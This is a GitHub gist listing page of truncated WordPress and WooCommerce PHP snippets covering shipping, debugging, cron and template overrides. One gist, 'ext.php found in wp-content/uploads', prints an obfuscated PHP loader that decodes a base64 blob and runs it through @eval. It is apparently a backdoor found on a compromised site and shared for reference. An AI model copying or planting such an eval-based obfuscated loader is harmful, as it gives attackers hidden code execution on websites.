Skip to content

Instantly share code, notes, and snippets.

Damien Carbery damiencarbery

Block or report user

Report or block damiencarbery

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View wc-order-history-test.php
<?php
/*
Plugin Name: WooCommerce Order History Test
Plugin URI: http://www.damiencarbery.com
Description: Quick experiment with adding order history info to My Orders tab.
Author: Damien Carbery
Version: 0.1
$Id: $
*/
View wc-free-shipping-notice.php
<?php
/*
Plugin Name: WooCommerce - Free Shipping Notice
Plugin URI: http://www.damiencarbery.com
Description: Add note about free shipping for all except one product.
Author: Damien Carbery
Version: 0.1
*/
@damiencarbery
damiencarbery / my-dashboard.php
Created Dec 20, 2016
Customise WooCommerce template files in a plugin
View my-dashboard.php
<?php
/**
* My Account Dashboard
*
* Shows the first intro screen on the account dashboard.
*
* This template can be overridden by copying it to yourtheme/woocommerce/myaccount/dashboard.php.
*
* HOWEVER, on occasion WooCommerce will need to update template files and you
* (the theme developer) will need to copy the new files to your theme to
@damiencarbery
damiencarbery / conditional-debug-code.php
Last active Jan 20, 2017
Debugging with WordPress - enable WP_DEBUG, with sample usage to investigate wc_get_template()
View conditional-debug-code.php
<?php
// Only call error_log() when in debug mode.
if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
error_log('WP_DEBUG is enabled');
}
@damiencarbery
damiencarbery / basic-get-site-title.php
Last active Jan 27, 2017
Standalone WordPress Scripts
View basic-get-site-title.php
<?php
define('WP_USE_THEMES', false);
require( 'wp-blog-header.php' );
bloginfo( 'name' );
@damiencarbery
damiencarbery / rac-calc-free-shipping-min-amount.php
Last active Feb 13, 2017
Woocommerce - Promote Free Shipping
View rac-calc-free-shipping-min-amount.php
<?php
// Code inspired by http://ibenic.com/ultimate-guide-woocommerce-shipping-zones/
function rac_get_free_shipping_amount( $package ) {
$all_zones = WC_Shipping_Zones::get_zones();
$shipping_zone = WC_Shipping_Zones::get_zone_matching_package( $package );
$min_amounts = array();
// Verify that the shipping zone is in $all_zones (zone id 0 isn't!)
if ( array_key_exists( $shipping_zone->get_id(), $all_zones ) ) {
$methods = $all_zones[ $shipping_zone->get_id() ][ 'shipping_methods' ];
@damiencarbery
damiencarbery / pluck-vs-fields.php
Created Feb 23, 2017
Quick comparison of using wp_list_pluck() and "fields"=>'ids" with WP_Query
View pluck-vs-fields.php
<?php
// Restrict who can access this script.
$permitted_ips = array('12.34.56.78');
if (in_array($_SERVER['REMOTE_ADDR'], $permitted_ips) == false) {
header('HTTP/1.0 403 Forbidden');
die();
}
?>
<!DOCTYPE html>
<!-- $Id: update-transients.php 4163 2016-12-16 11:36:52Z damien $ -->
@damiencarbery
damiencarbery / ext.php
Created Feb 25, 2017
ext.php found in wp-content/uploads
View ext.php
<?php
//Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2: http://www.fopo.com.ar
$cd61f663832b="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($cd61f663832b(
"JHIwMGU4NDlkMmU1ZjRlYzE0NjhhMjYzNTVmMjI0YTJkPSJceDYyIjskdTI3ZDQxMzY2YmFmYzkyYmFmZTA0ODM
zMTc0MzllYWU9Ilx4NjUiOyR4Zjk0NDFhNzM0ZGVmNjEwNmU4MDEwYjk3ODUzMTcxOD0iXHg2NiI7JGRhMjRlZmY
zODI1ZmRjZGRhYTk4N2M5NDg2ZDA1MzNlPSJceDY3IjskejNhMzBjMGIyZTM3ZjVhMWYzZDVlNjA3NTAwMGE1YzI
9Ilx4NmQiOyRxYjlmZTIzMzEzNDc2NzAzZTRhZDk1YWY4OGQyZmRiYj0iXHg2ZiI7JHNhYTc4MDU2NzI4YmU1N2V
hYjMxN2E3YWFlZjljZTdiPSJceDZmIjskbjJiNDRkYzM0ODNjZWVlYWU3NjE5MzY5NGRkZmMxZmQ9Ilx4NmYiOyR
zMDNiYzc3MTQ0YTJkMTMzZDJjYTAyMWUyY2UyMDc1Mz0iXHg2ZiI7JGU1OTVlOGU3YzA1MWQwZjI3YTgzMTc1NjY
wZWFiYzYwPSJceDczIjskemEzY2YyY2Q5MmJjZWQ4ZjRhNzFmZGM2ZmVmOGM2NmI9Ilx4NzMiOyRnNDZkMzZmNTN
View menu-classes-to-atts.php
<?php
add_filter( 'nav_menu_link_attributes', function ( $atts, $item, $args ) {
$prefix = 'target';
$target_items = preg_grep( "/^${prefix}-/", $classes );
if ( $target_items ) {
foreach( $target_items as $target_item ) {
$value = substr( $target_item, strlen( $prefix.'-' ) );
$atts[$prefix] = $value;
}
}
@damiencarbery
damiencarbery / add-cron-task.php
Last active Mar 13, 2017
WP Cron - how to use and how to extend
View add-cron-task.php
<?php
// Set up task when plugin is activated
register_activation_hook(__FILE__, 'dcwd_cron_status_setup_schedule');
// On an early action hook, check if the hook is scheduled - if not, schedule it.
function dcwd_cron_status_setup_schedule() {
// Add the event only if it is not already scheduled.
if ( ! wp_next_scheduled( 'dcwd_cron_status_status_email' ) ) {
// Schedule weekly at 2:12am.
wp_schedule_event( mktime(2,12,0), 'weekly', 'dcwd_cron_status_status_email');
You can’t perform that action at this time.